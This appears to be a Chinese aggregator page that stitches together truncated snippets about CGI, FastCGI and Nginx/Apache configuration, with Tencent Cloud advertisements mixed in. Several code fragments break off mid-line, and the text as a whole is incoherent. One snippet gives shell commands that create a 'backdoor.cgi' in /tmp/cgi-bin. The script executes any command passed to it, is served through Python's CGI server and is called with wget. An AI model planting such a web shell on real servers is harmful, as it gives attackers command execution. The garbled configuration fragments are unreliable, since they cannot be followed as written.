搭建Nginx的方法在网络上有很多,一般大同小异 但是如果说是建设Nginx+php,不只是一点点的多,是非常的多,而且多数都是抄来抄去,没心意 当使用Nginx+C开发的cgi来作为接口使用时 分析一下里面的perl语句,发现要监听一下 socket开的端口,然后Nginx里面配置一下,会来连接这个监听的socket的端口,配置如下: 点击(此处)折叠或打开 location ~ .*\.cgi argv[]) { system("date > /root/jjjjjjjjjjjjj"); // return 0; } 生成test.cgi 试试,然后放在/usr/local/nginx/html下 在浏览器里输入test.cgi,然后在系统里ps -aux看一下,多了一个test.cgi僵尸进程 ls /root的时候,真建了jjjjjjjjjjjjj 文件 说明能执test.cgi,但是得不到返回信息,有可能需要些什么 监听9999端口,那就是缺少个监听端口的 php既然有对应的程序,c肯定也有,于是找到了c/c++的lib, 找到fastcgi的网站
关于CGI程序的几个疑问。
2核2G云服务器 每月9.33元起,个人开发者专属3年机 低至2.3折
cd /tmp mkdir cgi-bin echo '#!/bin/bash' > . /cgi-bin/backdoor.cgi echo 'echo -e "Content-Type: text/plain\n\n"' >> . /cgi-bin/backdoor.cgi echo 'echo -e $($1)' >> ./cgi-bin/backdoor.cgi chmod +x . /cgi-bin/backdoor.cgi python -m http.server --cgi wget -q -O - "http://localhost:8000/cgi-bin/backdoor.cgi
cookie操作:限制4kb,300个,每个域名20个 image.png cgi.escape image.png urllib.parse.quote_plus unquote_plus image.png open().read() HTMLParser().unescape() image.png cgi.FieldStorage() xx.keys() image.png
cgi是什么 最早的Web服务器简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html。事物总是不 断发展,网站也越来越复杂,所以出现动态技术。 下面图可以看到流程 WEB服务器与cgi程序交互 WEB服务器将根据CGI程序的类型决定数据向CGI程序的传送方式,一般来讲是通过标准输入/输出流和环境变量来与 Web服务器和CGI接口又另外设置了一些环境变量,用来向CGI程序传递一些重要的参 数。CGI的GET方法还通过环境变量QUERY-STRING向CGI程序传递Form中的数据。 ,它的文本值表示Web服务器传送给CGI程序的输入中的字符数目。 上面例子展示了cgi 程序与web服务器的交互。
定义 cgi 通用网关接口,外部程序与web服务器之间的接口标准,是在cgi程序和web服务器之间传递信息的过程 每一次请求都会生成一个cgi进程,cgi程序执行完,进程退出 独立于服务器、独立编程语言 FastCgi FastCgi 像是一个常驻型的Cgi,它可以一直执行这,只要激活后,不需要每次去fork一次,还支持分布式运算,即FastCgi程序可以在网站服务器以外的主机上执行并且接受来自其他网站服务器的请求 apache收到用户请求,开始调用cgi接口,处理cgi程序(printenv.pl),处理完了之后返回 cgi程序处理后的结果。 说一下我走过的一个坑,为了验证cgi程序,我特意编译了apache2.4 ,然后配置httpd.conf 但是访问cgi程序还是报错。主要原因就是。cgi文件,没有加上调用哪个程序执行 。 都打不开链接了 我的理解是,web服务器启动,自动启动fastCgi模块 并且长期驻留在内存里, 用户访问 fastCgi程序,开启的fastCgi模块 ,直接处理请求,并返回结果. php-cgi 启动
当我们在谈到cgi的时候,我们在讨论什么 最早的Web服务器简单地响应浏览器发来的HTTP请求,并将存储在服务器上的HTML文件返回给浏览器,也就是静态html。 下面图可以看到流程 WEB服务器与cgi程序交互 WEB服务器将根据CGI程序的类型决定数据向CGI程序的传送方式,一般来讲是通过标准输入 Web服务器和CGI接口又另外设置了一些环境变量,用来向CGI程序传递一些重要的参 数。CGI的GET方法还通过环境变量QUERY-STRING向CGI程序传递Form中的数据。 ,它的文本值表示Web服务器传送给CGI程序的输入中的字符数目。 上面例子展示了cgi 程序与web服务器的交互。
云端获取和启用云服务器,并实时扩展或缩减云计算资源。云服务器 支持按实际使用的资源计费,可以为您节约计算成本。 腾讯云服务器(CVM)为您提供安全可靠的弹性云计算服务。只需几分钟,您就可以在云端获取和启用云服务器,并实时扩展或缩减云计算资源。云服务器 支持按实际使用的资源计费,可以为您节约计算成本。
扫码关注腾讯云开发者
领取腾讯云代金券